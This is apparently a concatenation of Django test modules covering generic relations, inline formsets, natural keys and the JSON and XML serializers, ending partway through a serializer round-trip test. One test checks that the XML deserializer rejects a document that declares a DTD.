            ''.join(form.as_p() for form in formset.forms),
            """<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-tag">
Tag:</label> <input id="id_generic_relations-taggeditem-content_type-object_id-0-tag"
type="text" name="generic_relations-taggeditem-content_type-object_id-0-tag" maxlength="50" /></p>
<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-DELETE">Delete:</label>
<input type="checkbox" name="generic_relations-taggeditem-content_type-object_id-0-DELETE"
id="id_generic_relations-taggeditem-content_type-object_id-0-DELETE" /><input type="hidden"
name="generic_relations-taggeditem-content_type-object_id-0-id"
id="id_generic_relations-taggeditem-content_type-object_id-0-id" /></p>"""
        )

        platypus = Animal.objects.create(
            common_name="Platypus", latin_name="Ornithorhynchus anatinus"
        )
        platypus.tags.create(tag="shiny")
        GenericFormSet = generic_inlineformset_factory(TaggedItem, extra=1)
        formset = GenericFormSet(instance=platypus)
        tagged_item_id = TaggedItem.objects.get(
            tag='shiny', object_id=platypus.id
        ).id
        self.assertHTMLEqual(
            ''.join(form.as_p() for form in formset.forms),
            """<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-tag">Tag:</label>
<input id="id_generic_relations-taggeditem-content_type-object_id-0-tag" type="text"
name="generic_relations-taggeditem-content_type-object_id-0-tag" value="shiny" maxlength="50" /></p>
<p><label for="id_generic_relations-taggeditem-content_type-object_id-0-DELETE">Delete:</label>
<input type="checkbox" name="generic_relations-taggeditem-content_type-object_id-0-DELETE"
id="id_generic_relations-taggeditem-content_type-object_id-0-DELETE" />
<input type="hidden" name="generic_relations-taggeditem-content_type-object_id-0-id"
value="%s" id="id_generic_relations-taggeditem-content_type-object_id-0-id" /></p>
<p><label for="id_generic_relations-taggeditem-content_type-object_id-1-tag">Tag:</label>
<input id="id_generic_relations-taggeditem-content_type-object_id-1-tag" type="text"
name="generic_relations-taggeditem-content_type-object_id-1-tag" maxlength="50" /></p>
<p><label for="id_generic_relations-taggeditem-content_type-object_id-1-DELETE">Delete:</label>
<input type="checkbox" name="generic_relations-taggeditem-content_type-object_id-1-DELETE"
id="id_generic_relations-taggeditem-content_type-object_id-1-DELETE" />
<input type="hidden" name="generic_relations-taggeditem-content_type-object_id-1-id"
id="id_generic_relations-taggeditem-content_type-object_id-1-id" /></p>""" % tagged_item_id
        )

        lion = Animal.objects.create(common_name="Lion", latin_name="Panthera leo")
        formset = GenericFormSet(instance=lion, prefix='x')
        self.assertHTMLEqual(
            ''.join(form.as_p() for form in formset.forms),
            """<p><label for="id_x-0-tag">Tag:</label>
<input id="id_x-0-tag" type="text" name="x-0-tag" maxlength="50" /></p>
<p><label for="id_x-0-DELETE">Delete:</label> <input type="checkbox" name="x-0-DELETE" id="id_x-0-DELETE" />
<input type="hidden" name="x-0-id" id="id_x-0-id" /></p>"""
        )

    def test_gfk_manager(self):
        # GenericForeignKey should not use the default manager (which may filter objects) #16048
        tailless = Gecko.objects.create(has_tail=False)
        tag = TaggedItem.objects.create(content_object=tailless, tag="lizard")
        self.assertEqual(tag.content_object, tailless)

    def test_subclasses_with_gen_rel(self):
        """
        Test that concrete model subclasses with generic relations work
        correctly (ticket 11263).
        """
        granite = Rock.objects.create(name='granite', hardness=5)
        TaggedItem.objects.create(content_object=granite, tag="countertop")
        self.assertEqual(Rock.objects.get(tags__tag="countertop"), granite)

    def test_subclasses_with_parent_gen_rel(self):
        """
        Generic relations on a base class (Vegetable) work correctly in
        subclasses (Carrot).
        """
        bear = Carrot.objects.create(name='carrot')
        TaggedItem.objects.create(content_object=bear, tag='orange')
        self.assertEqual(Carrot.objects.get(tags__tag='orange'), bear)

    def test_generic_inline_formsets_initial(self):
        """
        Test for #17927 Initial values support for BaseGenericInlineFormSet.
        """
        quartz = Mineral.objects.create(name="Quartz", hardness=7)

        GenericFormSet = generic_inlineformset_factory(TaggedItem, extra=1)
        ctype = ContentType.objects.get_for_model(quartz)
        initial_data = [{
            'tag': 'lizard',
            'content_type': ctype.pk,
            'object_id': quartz.pk,
        }]
        formset = GenericFormSet(initial=initial_data)
        self.assertEqual(formset.forms[0].initial, initial_data[0])

    def test_get_or_create(self):
        # get_or_create should work with virtual fields (content_object)
        quartz = Mineral.objects.create(name="Quartz", hardness=7)
        tag, created = TaggedItem.objects.get_or_create(tag="shiny", defaults={'content_object': quartz})
        self.assertTrue(created)
        self.assertEqual(tag.tag, "shiny")
        self.assertEqual(tag.content_object.id, quartz.id)

    def test_update_or_create_defaults(self):
        # update_or_create should work with virtual fields (content_object)
        quartz = Mineral.objects.create(name="Quartz", hardness=7)
        diamond = Mineral.objects.create(name="Diamond", hardness=7)
        tag, created = TaggedItem.objects.update_or_create(tag="shiny", defaults={'content_object': quartz})
        self.assertTrue(created)
        self.assertEqual(tag.content_object.id, quartz.id)

        tag, created = TaggedItem.objects.update_or_create(tag="shiny", defaults={'content_object': diamond})
        self.assertFalse(created)
        self.assertEqual(tag.content_object.id, diamond.id)

    def test_query_content_type(self):
        msg = "Field 'content_object' does not generate an automatic reverse relation"
        with self.assertRaisesMessage(FieldError, msg):
            TaggedItem.objects.get(content_object='')

    def test_unsaved_instance_on_generic_foreign_key(self):
        """
        Assigning an unsaved object to GenericForeignKey should raise an
        exception on model.save().
        """
        quartz = Mineral(name="Quartz", hardness=7)
        with self.assertRaises(IntegrityError):
            TaggedItem.objects.create(tag="shiny", content_object=quartz)

    def test_cache_invalidation_for_content_type_id(self):
        # Create a Vegetable and Mineral with the same id.
        new_id = max(Vegetable.objects.order_by('-id')[0].id,
                     Mineral.objects.order_by('-id')[0].id) + 1
        broccoli = Vegetable.objects.create(id=new_id, name="Broccoli")
        diamond = Mineral.objects.create(id=new_id, name="Diamond", hardness=7)
        tag = TaggedItem.objects.create(content_object=broccoli, tag="yummy")
        tag.content_type = ContentType.objects.get_for_model(diamond)
        self.assertEqual(tag.content_object, diamond)

    def test_cache_invalidation_for_object_id(self):
        broccoli = Vegetable.objects.create(name="Broccoli")
        cauliflower = Vegetable.objects.create(name="Cauliflower")
        tag = TaggedItem.objects.create(content_object=broccoli, tag="yummy")
        tag.object_id = cauliflower.id
        self.assertEqual(tag.content_object, cauliflower)

    def test_assign_content_object_in_init(self):
        spinach = Vegetable(name="spinach")
        tag = TaggedItem(content_object=spinach)
        self.assertEqual(tag.content_object, spinach)


class CustomWidget(forms.TextInput):
    pass


class TaggedItemForm(forms.ModelForm):
    class Meta:
        model = TaggedItem
        fields = '__all__'
        widgets = {'tag': CustomWidget}


class GenericInlineFormsetTest(TestCase):
    def test_generic_inlineformset_factory(self):
        """
        Regression for #14572: Using base forms with widgets
        defined in Meta should not raise errors.
        """
        Formset = generic_inlineformset_factory(TaggedItem, TaggedItemForm)
        form = Formset().forms[0]
        self.assertIsInstance(form['tag'].field.widget, CustomWidget)

    def test_save_new_uses_form_save(self):
        """
        Regression for #16260: save_new should call form.save()
        """
        class SaveTestForm(forms.ModelForm):
            def save(self, *args, **kwargs):
                self.instance.saved_by = "custom method"
                return super(SaveTestForm, self).save(*args, **kwargs)

        Formset = generic_inlineformset_factory(ForProxyModelModel, fields='__all__', form=SaveTestForm)

        instance = ProxyRelatedModel.objects.create()

        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-title': 'foo',
        }

        formset = Formset(data, instance=instance, prefix='form')
        self.assertTrue(formset.is_valid())
        new_obj = formset.save()[0]
        self.assertEqual(new_obj.saved_by, "custom method")

    def test_save_new_for_proxy(self):
        Formset = generic_inlineformset_factory(ForProxyModelModel, fields='__all__', for_concrete_model=False)

        instance = ProxyRelatedModel.objects.create()

        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-title': 'foo',
        }

        formset = Formset(data, instance=instance, prefix='form')
        self.assertTrue(formset.is_valid())

        new_obj, = formset.save()
        self.assertEqual(new_obj.obj, instance)

    def test_save_new_for_concrete(self):
        Formset = generic_inlineformset_factory(ForProxyModelModel, fields='__all__', for_concrete_model=True)

        instance = ProxyRelatedModel.objects.create()

        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-title': 'foo',
        }

        formset = Formset(data, instance=instance, prefix='form')
        self.assertTrue(formset.is_valid())

        new_obj, = formset.save()
        self.assertNotIsInstance(new_obj.obj, ProxyRelatedModel)


class ProxyRelatedModelTest(TestCase):
    def test_default_behavior(self):
        """
        The default for for_concrete_model should be True
        """
        base = ForConcreteModelModel()
        base.obj = rel = ProxyRelatedModel.objects.create()
        base.save()

        base = ForConcreteModelModel.objects.get(pk=base.pk)
        rel = ConcreteRelatedModel.objects.get(pk=rel.pk)
        self.assertEqual(base.obj, rel)

    def test_works_normally(self):
        """
        When for_concrete_model is False, we should still be able to get
        an instance of the concrete class.
        """
        base = ForProxyModelModel()
        base.obj = rel = ConcreteRelatedModel.objects.create()
        base.save()

        base = ForProxyModelModel.objects.get(pk=base.pk)
        self.assertEqual(base.obj, rel)

    def test_proxy_is_returned(self):
        """
        Instances of the proxy should be returned when
        for_concrete_model is False.
        """
        base = ForProxyModelModel()
        base.obj = ProxyRelatedModel.objects.create()
        base.save()

        base = ForProxyModelModel.objects.get(pk=base.pk)
        self.assertIsInstance(base.obj, ProxyRelatedModel)

    def test_query(self):
        base = ForProxyModelModel()
        base.obj = rel = ConcreteRelatedModel.objects.create()
        base.save()

        self.assertEqual(rel, ConcreteRelatedModel.objects.get(bases__id=base.id))

    def test_query_proxy(self):
        base = ForProxyModelModel()
        base.obj = rel = ProxyRelatedModel.objects.create()
        base.save()

        self.assertEqual(rel, ProxyRelatedModel.objects.get(bases__id=base.id))

    def test_generic_relation(self):
        base = ForProxyModelModel()
        base.obj = ProxyRelatedModel.objects.create()
        base.save()

        base = ForProxyModelModel.objects.get(pk=base.pk)
        rel = ProxyRelatedModel.objects.get(pk=base.obj.pk)
        self.assertEqual(base, rel.bases.get())

    def test_generic_relation_set(self):
        base = ForProxyModelModel()
        base.obj = ConcreteRelatedModel.objects.create()
        base.save()
        newrel = ConcreteRelatedModel.objects.create()

        newrel.bases.set([base])
        newrel = ConcreteRelatedModel.objects.get(pk=newrel.pk)
        self.assertEqual(base, newrel.bases.get())


class TestInitWithNoneArgument(SimpleTestCase):

    def test_none_allowed(self):
        # AllowsNullGFK doesn't require a content_type, so None argument should
        # also be allowed.
        AllowsNullGFK(content_object=None)
        # TaggedItem requires a content_type but initializing with None should
        # be allowed.
        TaggedItem(content_object=None)






from __future__ import unicode_literals

from django.core import serializers
from django.db import connection
from django.test import TestCase

from .models import FKDataNaturalKey, NaturalKeyAnchor
from .tests import register_tests


class NaturalKeySerializerTests(TestCase):
    pass


def natural_key_serializer_test(format, self):
    # Create all the objects defined in the test data
    with connection.constraint_checks_disabled():
        objects = [
            NaturalKeyAnchor.objects.create(id=1100, data="Natural Key Anghor"),
            FKDataNaturalKey.objects.create(id=1101, data_id=1100),
            FKDataNaturalKey.objects.create(id=1102, data_id=None),
        ]
    # Serialize the test database
    serialized_data = serializers.serialize(format, objects, indent=2, use_natural_foreign_keys=True)

    for obj in serializers.deserialize(format, serialized_data):
        obj.save()

    # Assert that the deserialized data is the same
    # as the original source
    for obj in objects:
        instance = obj.__class__.objects.get(id=obj.pk)
        self.assertEqual(
            obj.data, instance.data,
            "Objects with PK=%d not equal; expected '%s' (%s), got '%s' (%s)" % (
                obj.pk, obj.data, type(obj.data), instance, type(instance.data),
            )
        )


def natural_key_test(format, self):
    book1 = {
        'data': '978-1590597255',
        'title': 'The Definitive Guide to Django: Web Development Done Right',
    }
    book2 = {'data': '978-1590599969', 'title': 'Practical Django Projects'}

    # Create the books.
    adrian = NaturalKeyAnchor.objects.create(**book1)
    james = NaturalKeyAnchor.objects.create(**book2)

    # Serialize the books.
    string_data = serializers.serialize(
        format, NaturalKeyAnchor.objects.all(), indent=2,
        use_natural_foreign_keys=True, use_natural_primary_keys=True,
    )

    # Delete one book (to prove that the natural key generation will only
    # restore the primary keys of books found in the database via the
    # get_natural_key manager method).
    james.delete()

    # Deserialize and test.
    books = list(serializers.deserialize(format, string_data))
    self.assertEqual(len(books), 2)
    self.assertEqual(books[0].object.title, book1['title'])
    self.assertEqual(books[0].object.pk, adrian.pk)
    self.assertEqual(books[1].object.title, book2['title'])
    self.assertIsNone(books[1].object.pk)


# Dynamically register tests for each serializer
register_tests(NaturalKeySerializerTests, 'test_%s_natural_key_serializer', natural_key_serializer_test)
register_tests(NaturalKeySerializerTests, 'test_%s_serializer_natural_keys', natural_key_test)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import decimal
import json
import re

from django.core import serializers
from django.core.serializers.base import DeserializationError
from django.core.serializers.json import DjangoJSONEncoder
from django.db import models
from django.test import SimpleTestCase, TestCase, TransactionTestCase
from django.test.utils import isolate_apps
from django.utils.translation import override, ugettext_lazy

from .models import Score
from .tests import SerializersTestBase, SerializersTransactionTestBase


class JsonSerializerTestCase(SerializersTestBase, TestCase):
    serializer_name = "json"
    pkless_str = """[
    {
        "pk": null,
        "model": "serializers.category",
        "fields": {"name": "Reference"}
    }, {
        "model": "serializers.category",
        "fields": {"name": "Non-fiction"}
    }]"""
    mapping_ordering_str = """[
{
  "model": "serializers.article",
  "pk": %(article_pk)s,
  "fields": {
    "author": %(author_pk)s,
    "headline": "Poker has no place on ESPN",
    "pub_date": "2006-06-16T11:00:00",
    "categories": [
      %(first_category_pk)s,
      %(second_category_pk)s
    ],
    "meta_data": []
  }
}
]
"""

    @staticmethod
    def _validate_output(serial_str):
        try:
            json.loads(serial_str)
        except Exception:
            return False
        else:
            return True

    @staticmethod
    def _get_pk_values(serial_str):
        ret_list = []
        serial_list = json.loads(serial_str)
        for obj_dict in serial_list:
            ret_list.append(obj_dict["pk"])
        return ret_list

    @staticmethod
    def _get_field_values(serial_str, field_name):
        ret_list = []
        serial_list = json.loads(serial_str)
        for obj_dict in serial_list:
            if field_name in obj_dict["fields"]:
                ret_list.append(obj_dict["fields"][field_name])
        return ret_list

    def test_indentation_whitespace(self):
        s = serializers.json.Serializer()
        json_data = s.serialize([Score(score=5.0), Score(score=6.0)], indent=2)
        for line in json_data.splitlines():
            if re.search(r'.+,\s*$', line):
                self.assertEqual(line, line.rstrip())

    @isolate_apps('serializers')
    def test_custom_encoder(self):
        class ScoreDecimal(models.Model):
            score = models.DecimalField()

        class CustomJSONEncoder(json.JSONEncoder):
            def default(self, o):
                if isinstance(o, decimal.Decimal):
                    return str(o)
                return super(CustomJSONEncoder, self).default(o)

        s = serializers.json.Serializer()
        json_data = s.serialize(
            [ScoreDecimal(score=decimal.Decimal(1.0))], cls=CustomJSONEncoder
        )
        self.assertIn('"fields": {"score": "1"}', json_data)

    def test_json_deserializer_exception(self):
        with self.assertRaises(DeserializationError):
            for obj in serializers.deserialize("json", """[{"pk":1}"""):
                pass

    def test_helpful_error_message_invalid_pk(self):
        """
        If there is an invalid primary key, the error message should contain
        the model associated with it.
        """
        test_string = """[{
            "pk": "badpk",
            "model": "serializers.player",
            "fields": {
                "name": "Bob",
                "rank": 1,
                "team": "Team"
            }
        }]"""
        with self.assertRaisesMessage(DeserializationError, "(serializers.player:pk=badpk)"):
            list(serializers.deserialize('json', test_string))

    def test_helpful_error_message_invalid_field(self):
        """
        If there is an invalid field value, the error message should contain
        the model associated with it.
        """
        test_string = """[{
            "pk": "1",
            "model": "serializers.player",
            "fields": {
                "name": "Bob",
                "rank": "invalidint",
                "team": "Team"
            }
        }]"""
        expected = "(serializers.player:pk=1) field_value was 'invalidint'"
        with self.assertRaisesMessage(DeserializationError, expected):
            list(serializers.deserialize('json', test_string))

    def test_helpful_error_message_for_foreign_keys(self):
        """
        Invalid foreign keys with a natural key should throw a helpful error
        message, such as what the failing key is.
        """
        test_string = """[{
            "pk": 1,
            "model": "serializers.category",
            "fields": {
                "name": "Unknown foreign key",
                "meta_data": [
                    "doesnotexist",
                    "metadata"
                ]
            }
        }]"""
        key = ["doesnotexist", "metadata"]
        expected = "(serializers.category:pk=1) field_value was '%r'" % key
        with self.assertRaisesMessage(DeserializationError, expected):
            list(serializers.deserialize('json', test_string))

    def test_helpful_error_message_for_many2many_non_natural(self):
        """
        Invalid many-to-many keys should throw a helpful error message.
        """
        test_string = """[{
            "pk": 1,
            "model": "serializers.article",
            "fields": {
                "author": 1,
                "headline": "Unknown many to many",
                "pub_date": "2014-09-15T10:35:00",
                "categories": [1, "doesnotexist"]
            }
        }, {
            "pk": 1,
            "model": "serializers.author",
            "fields": {
                "name": "Agnes"
            }
        }, {
            "pk": 1,
            "model": "serializers.category",
            "fields": {
                "name": "Reference"
            }
        }]"""
        expected = "(serializers.article:pk=1) field_value was 'doesnotexist'"
        with self.assertRaisesMessage(DeserializationError, expected):
            list(serializers.deserialize('json', test_string))

    def test_helpful_error_message_for_many2many_natural1(self):
        """
        Invalid many-to-many keys should throw a helpful error message.
        This tests the code path where one of a list of natural keys is invalid.
        """
        test_string = """[{
            "pk": 1,
            "model": "serializers.categorymetadata",
            "fields": {
                "kind": "author",
                "name": "meta1",
                "value": "Agnes"
            }
        }, {
            "pk": 1,
            "model": "serializers.article",
            "fields": {
                "author": 1,
                "headline": "Unknown many to many",
                "pub_date": "2014-09-15T10:35:00",
                "meta_data": [
                    ["author", "meta1"],
                    ["doesnotexist", "meta1"],
                    ["author", "meta1"]
                ]
            }
        }, {
            "pk": 1,
            "model": "serializers.author",
            "fields": {
                "name": "Agnes"
            }
        }]"""
        key = ["doesnotexist", "meta1"]
        expected = "(serializers.article:pk=1) field_value was '%r'" % key
        with self.assertRaisesMessage(DeserializationError, expected):
            for obj in serializers.deserialize('json', test_string):
                obj.save()

    def test_helpful_error_message_for_many2many_natural2(self):
        """
        Invalid many-to-many keys should throw a helpful error message. This
        tests the code path where a natural many-to-many key has only a single
        value.
        """
        test_string = """[{
            "pk": 1,
            "model": "serializers.article",
            "fields": {
                "author": 1,
                "headline": "Unknown many to many",
                "pub_date": "2014-09-15T10:35:00",
                "meta_data": [1, "doesnotexist"]
            }
        }, {
            "pk": 1,
            "model": "serializers.categorymetadata",
            "fields": {
                "kind": "author",
                "name": "meta1",
                "value": "Agnes"
            }
        }, {
            "pk": 1,
            "model": "serializers.author",
            "fields": {
                "name": "Agnes"
            }
        }]"""
        expected = "(serializers.article:pk=1) field_value was 'doesnotexist'"
        with self.assertRaisesMessage(DeserializationError, expected):
            for obj in serializers.deserialize('json', test_string, ignore=False):
                obj.save()


class JsonSerializerTransactionTestCase(SerializersTransactionTestBase, TransactionTestCase):
    serializer_name = "json"
    fwd_ref_str = """[
    {
        "pk": 1,
        "model": "serializers.article",
        "fields": {
            "headline": "Forward references pose no problem",
            "pub_date": "2006-06-16T15:00:00",
            "categories": [1],
            "author": 1
        }
    },
    {
        "pk": 1,
        "model": "serializers.category",
        "fields": {
            "name": "Reference"
        }
    },
    {
        "pk": 1,
        "model": "serializers.author",
        "fields": {
            "name": "Agnes"
        }
    }]"""


class DjangoJSONEncoderTests(SimpleTestCase):
    def test_lazy_string_encoding(self):
        self.assertEqual(
            json.dumps({'lang': ugettext_lazy("French")}, cls=DjangoJSONEncoder),
            '{"lang": "French"}'
        )
        with override('fr'):
            self.assertEqual(
                json.dumps({'lang': ugettext_lazy("French")}, cls=DjangoJSONEncoder),
                '{"lang": "Fran\\u00e7ais"}'
            )

    def test_timedelta(self):
        duration = datetime.timedelta(days=1, hours=2, seconds=3)
        self.assertEqual(
            json.dumps({'duration': duration}, cls=DjangoJSONEncoder),
            '{"duration": "P1DT02H00M03S"}'
        )
        duration = datetime.timedelta(0)
        self.assertEqual(
            json.dumps({'duration': duration}, cls=DjangoJSONEncoder),
            '{"duration": "P0DT00H00M00S"}'
        )












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from xml.dom import minidom

from django.core import serializers
from django.core.serializers.xml_serializer import DTDForbidden
from django.test import TestCase, TransactionTestCase
from django.utils import six

from .tests import SerializersTestBase, SerializersTransactionTestBase


class XmlSerializerTestCase(SerializersTestBase, TestCase):
    serializer_name = "xml"
    pkless_str = """<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
    <object model="serializers.category">
        <field type="CharField" name="name">Reference</field>
    </object>
    <object model="serializers.category">
        <field type="CharField" name="name">Non-fiction</field>
    </object>
</django-objects>"""
    mapping_ordering_str = """<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
  <object model="serializers.article" pk="%(article_pk)s">
    <field name="author" rel="ManyToOneRel" to="serializers.author">%(author_pk)s</field>
    <field name="headline" type="CharField">Poker has no place on ESPN</field>
    <field name="pub_date" type="DateTimeField">2006-06-16T11:00:00</field>
    <field name="categories" rel="ManyToManyRel" to="serializers.category"><object pk="%(first_category_pk)s"></object><object pk="%(second_category_pk)s"></object></field>
    <field name="meta_data" rel="ManyToManyRel" to="serializers.categorymetadata"></field>
  </object>
</django-objects>"""  # NOQA

    @staticmethod
    def _comparison_value(value):
        # The XML serializer handles everything as strings, so comparisons
        # need to be performed on the stringified value
        return six.text_type(value)

    @staticmethod
    def _validate_output(serial_str):
        try:
            minidom.parseString(serial_str)
        except Exception:
            return False
        else:
            return True

    @staticmethod
    def _get_pk_values(serial_str):
        ret_list = []
        dom = minidom.parseString(serial_str)
        fields = dom.getElementsByTagName("object")
        for field in fields:
            ret_list.append(field.getAttribute("pk"))
        return ret_list

    @staticmethod
    def _get_field_values(serial_str, field_name):
        ret_list = []
        dom = minidom.parseString(serial_str)
        fields = dom.getElementsByTagName("field")
        for field in fields:
            if field.getAttribute("name") == field_name:
                temp = []
                for child in field.childNodes:
                    temp.append(child.nodeValue)
                ret_list.append("".join(temp))
        return ret_list

    def test_control_char_failure(self):
        """
        Serializing control characters with XML should fail as those characters
        are not supported in the XML 1.0 standard (except HT, LF, CR).
        """
        self.a1.headline = "This contains \u0001 control \u0011 chars"
        msg = "Article.headline (pk:%s) contains unserializable characters" % self.a1.pk
        with self.assertRaisesMessage(ValueError, msg):
            serializers.serialize(self.serializer_name, [self.a1])
        self.a1.headline = "HT \u0009, LF \u000A, and CR \u000D are allowed"
        self.assertIn(
            "HT \t, LF \n, and CR \r are allowed",
            serializers.serialize(self.serializer_name, [self.a1])
        )

    def test_no_dtd(self):
        """
        The XML deserializer shouldn't allow a DTD.

        This is the most straightforward way to prevent all entity definitions
        and avoid both external entities and entity-expansion attacks.
        """
        xml = '<?xml version="1.0" standalone="no"?><!DOCTYPE example SYSTEM "http://example.com/example.dtd">'
        with self.assertRaises(DTDForbidden):
            next(serializers.deserialize('xml', xml))


class XmlSerializerTransactionTestCase(SerializersTransactionTestBase, TransactionTestCase):
    serializer_name = "xml"
    fwd_ref_str = """<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
    <object pk="1" model="serializers.article">
        <field to="serializers.author" name="author" rel="ManyToOneRel">1</field>
        <field type="CharField" name="headline">Forward references pose no problem</field>
        <field type="DateTimeField" name="pub_date">2006-06-16T15:00:00</field>
        <field to="serializers.category" name="categories" rel="ManyToManyRel">
            <object pk="1"></object>
        </field>
        <field to="serializers.categorymetadata" name="meta_data" rel="ManyToManyRel"></field>
    </object>
    <object pk="1" model="serializers.author">
        <field type="CharField" name="name">Agnes</field>
    </object>
    <object pk="1" model="serializers.category">
        <field type="CharField" name="name">Reference</field></object>
</django-objects>"""






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from datetime import datetime

from django.core import serializers
from django.core.serializers import SerializerDoesNotExist
from django.core.serializers.base import ProgressBar
from django.db import connection, transaction
from django.http import HttpResponse
from django.test import (
    SimpleTestCase, mock, override_settings, skipUnlessDBFeature,
)
from django.test.utils import Approximate
from django.utils.functional import curry
from django.utils.six import StringIO

from .models import (
    Actor, Article, Author, AuthorProfile, BaseModel, Category, ComplexModel,
    Movie, Player, ProxyBaseModel, ProxyProxyBaseModel, Score, Team,
)


@override_settings(
    SERIALIZATION_MODULES={
        "json2": "django.core.serializers.json",
    }
)
class SerializerRegistrationTests(SimpleTestCase):
    def setUp(self):
        self.old_serializers = serializers._serializers
        serializers._serializers = {}

    def tearDown(self):
        serializers._serializers = self.old_serializers

    def test_register(self):
        "Registering a new serializer populates the full registry. Refs #14823"
        serializers.register_serializer('json3', 'django.core.serializers.json')

        public_formats = serializers.get_public_serializer_formats()
        self.assertIn('json3', public_formats)
        self.assertIn('json2', public_formats)
        self.assertIn('xml', public_formats)

    def test_unregister(self):
        "Unregistering a serializer doesn't cause the registry to be repopulated. Refs #14823"
        serializers.unregister_serializer('xml')
        serializers.register_serializer('json3', 'django.core.serializers.json')

        public_formats = serializers.get_public_serializer_formats()

        self.assertNotIn('xml', public_formats)
        self.assertIn('json3', public_formats)

    def test_unregister_unknown_serializer(self):
        with self.assertRaises(SerializerDoesNotExist):
            serializers.unregister_serializer("nonsense")

    def test_builtin_serializers(self):
        "Requesting a list of serializer formats popuates the registry"
        all_formats = set(serializers.get_serializer_formats())
        public_formats = set(serializers.get_public_serializer_formats())

        self.assertIn('xml', all_formats),
        self.assertIn('xml', public_formats)

        self.assertIn('json2', all_formats)
        self.assertIn('json2', public_formats)

        self.assertIn('python', all_formats)
        self.assertNotIn('python', public_formats)

    def test_get_unknown_serializer(self):
        """
        #15889: get_serializer('nonsense') raises a SerializerDoesNotExist
        """
        with self.assertRaises(SerializerDoesNotExist):
            serializers.get_serializer("nonsense")

        with self.assertRaises(KeyError):
            serializers.get_serializer("nonsense")

        # SerializerDoesNotExist is instantiated with the nonexistent format
        with self.assertRaises(SerializerDoesNotExist) as cm:
            serializers.get_serializer("nonsense")
        self.assertEqual(cm.exception.args, ("nonsense",))

    def test_get_unknown_deserializer(self):
        with self.assertRaises(SerializerDoesNotExist):
            serializers.get_deserializer("nonsense")


class SerializersTestBase(object):
    serializer_name = None  # Set by subclasses to the serialization format name

    @staticmethod
    def _comparison_value(value):
        return value

    def setUp(self):
        sports = Category.objects.create(name="Sports")
        music = Category.objects.create(name="Music")
        op_ed = Category.objects.create(name="Op-Ed")

        self.joe = Author.objects.create(name="Joe")
        self.jane = Author.objects.create(name="Jane")

        self.a1 = Article(
            author=self.jane,
            headline="Poker has no place on ESPN",
            pub_date=datetime(2006, 6, 16, 11, 00)
        )
        self.a1.save()
        self.a1.categories.set([sports, op_ed])

        self.a2 = Article(
            author=self.joe,
            headline="Time to reform copyright",
            pub_date=datetime(2006, 6, 16, 13, 00, 11, 345)
        )
        self.a2.save()
        self.a2.categories.set([music, op_ed])

    def test_serialize(self):
        """Tests that basic serialization works."""
        serial_str = serializers.serialize(self.serializer_name, Article.objects.all())
        self.assertTrue(self._validate_output(serial_str))

    def test_serializer_roundtrip(self):
        """Tests that serialized content can be deserialized."""
        serial_str = serializers.serialize(self.serializer_name, Article.objects.all())
        models = list(serializers.deserialize(self.serializer_name, serial_str))
        self.assertEqual(len(models), 2)

    def test_serialize_to_stream(self):
        obj = ComplexModel(field1='first', field2='second', field3='third')
        obj.save_base(raw=True)

        # Serialize the test database to a stream
        for stream in (StringIO(), HttpResponse()):
            serializers.serialize(self.serializer_name, [obj], indent=2, stream=stream)

            # Serialize normally for a comparison
            string_data = serializers.serialize(self.serializer_name, [obj], indent=2)

            # Check that the two are the same
            if isinstance(stream, StringIO):
                self.assertEqual(string_data, stream.getvalue())
            else:
                self.assertEqual(string_data, stream.content.decode('utf-8'))

    def test_serialize_specific_fields(self):
        obj = ComplexModel(field1='first', field2='second', field3='third')
        obj.save_base(raw=True)

        # Serialize then deserialize the test database
        serialized_data = serializers.serialize(
            self.serializer_name, [obj], indent=2, fields=('field1', 'field3')
        )
        result = next(serializers.deserialize(self.serializer_name, serialized_data))

        # Check that the deserialized object contains data in only the serialized fields.
        self.assertEqual(result.object.field1, 'first')
        self.assertEqual(result.object.field2, '')
        self.assertEqual(result.object.field3, 'third')

    def test_altering_serialized_output(self):
        """
        Tests the ability to create new objects by
        modifying serialized content.
        """
        old_headline = "Poker has no place on ESPN"
        new_headline = "Poker has no place on television"
        serial_str = serializers.serialize(self.serializer_name, Article.objects.all())
        serial_str = serial_str.replace(old_headline, new_headline)
        models = list(serializers.deserialize(self.serializer_name, serial_str))

        # Prior to saving, old headline is in place
        self.assertTrue(Article.objects.filter(headline=old_headline))
        self.assertFalse(Article.objects.filter(headline=new_headline))

        for model in models:
            model.save()

        # After saving, new headline is in place
        self.assertTrue(Article.objects.filter(headline=new_headline))
        self.assertFalse(Article.objects.filter(headline=old_headline))

    def test_one_to_one_as_pk(self):
        """
        Tests that if you use your own primary key field
        (such as a OneToOneField), it doesn't appear in the
        serialized field list - it replaces the pk identifier.
        """
        AuthorProfile.objects.create(author=self.joe, date_of_birth=datetime(1970, 1, 1))
        serial_str = serializers.serialize(self.serializer_name, AuthorProfile.objects.all())
        self.assertFalse(self._get_field_values(serial_str, 'author'))

        for obj in serializers.deserialize(self.serializer_name, serial_str):
            self.assertEqual(obj.object.pk, self._comparison_value(self.joe.pk))

    def test_serialize_field_subset(self):
        """Tests that output can be restricted to a subset of fields"""
        valid_fields = ('headline', 'pub_date')
        invalid_fields = ("author", "categories")
        serial_str = serializers.serialize(self.serializer_name, Article.objects.all(), fields=valid_fields)
        for field_name in invalid_fields:
            self.assertFalse(self._get_field_values(serial_str, field_name))

        for field_name in valid_fields:
            self.assertTrue(self._get_field_values(serial_str, field_name))

    def test_serialize_unicode(self):
        """Tests that unicode makes the roundtrip intact"""
        actor_name = "Za\u017c\u00f3\u0142\u0107"
        movie_title = 'G\u0119\u015bl\u0105 ja\u017a\u0144'
        ac = Actor(name=actor_name)
        mv = Movie(title=movie_title, actor=ac)
        ac.save()
        mv.save()

